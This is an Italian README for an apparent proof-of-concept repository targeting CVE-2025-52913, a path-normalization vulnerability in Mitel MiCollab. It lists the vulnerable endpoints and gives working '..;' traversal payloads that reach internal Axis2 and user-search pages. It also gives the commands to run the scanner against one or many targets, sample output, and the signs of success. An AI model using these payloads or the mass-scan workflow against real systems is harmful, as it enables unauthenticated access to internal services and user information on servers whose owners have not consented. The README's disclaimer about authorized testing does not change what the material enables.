CVE-2025-52913 - Vulnerabilità di normalizzazione dei percorsi in MiCollab

📌 Panoramica

Questo repository contiene una Proof of Concept (PoC) per CVE-2025-52913, una vulnerabilità di normalizzazione dei percorsi che interessa Mitel MiCollab.

Il problema consente ad attaccanti non autenticati di aggirare le restrizioni previste sui percorsi sfruttando sequenze URL appositamente costruite come ..;, portando all'accesso a endpoint applicativi interni.

⚠️ Impatto

Lo sfruttamento riuscito può consentire:

• Accesso a endpoint interni e limitati
• Esposizione di componenti applicativi sensibili
• Potenziale divulgazione di informazioni

🎯 Endpoint Interessati

La vulnerabilità può essere innescata tramite i seguenti percorsi:

/npm-pwg/loginForm.jsp/
/npm-pwg/extendedUmPlayMessage.jsp/
/npm-admin/showLoginPage.do/
/npm-admin/login.do/

💣 Payload

Esempi di payload di traversal:

/..;/..;/axis2-AWC/axis2-web/HappyAxis.jsp
/..;/..;/usp/searchUsers.do

🚀 Utilizzo

1. Installare le dipendenze

pip install -r requirements.txt

2. Eseguire contro un singolo target

python3 POC-CVE-2025-52913.py example.com

3. Eseguire contro più target

python3 POC-CVE-2025-52913.py domains.txt

🧪 Esempio

[*] Testing http://example.com
[+] http://example.com/npm-pwg/loginForm.jsp/..;/..;/axis2-AWC/axis2-web/HappyAxis.jsp - 200
    [!] Possible success

🔍 Rilevamento

Un target è probabilmente vulnerabile se:

• Il server risponde con HTTP 200

• La risposta contiene:

  • Axis2
  • Axis2 Happiness Page
  • Output applicativo valido dagli endpoint interni

🛠️ Dettagli Tecnici

La vulnerabilità deriva da una normalizzazione impropria dei percorsi costruiti contenenti ..;, che consente l'attraversamento oltre il contesto applicativo previsto.

Questo comportamento può esporre servizi interni come:

• Interfaccia dei servizi web Axis2
• Endpoint interni di gestione utenti

👤 Scoperta

Scoperta da Dahmani Toumi

📚 Riferimenti

• CVE: CVE-2025-52913
• (Aggiungere l'advisory del fornitore o il link NVD quando disponibile)

⚖️ Disclaimer

Questo progetto è destinato solo a scopi educativi e test di sicurezza autorizzati.

Non utilizzare questo strumento contro sistemi senza esplicita autorizzazione. L'autore non è responsabile per eventuali usi impropri o danni.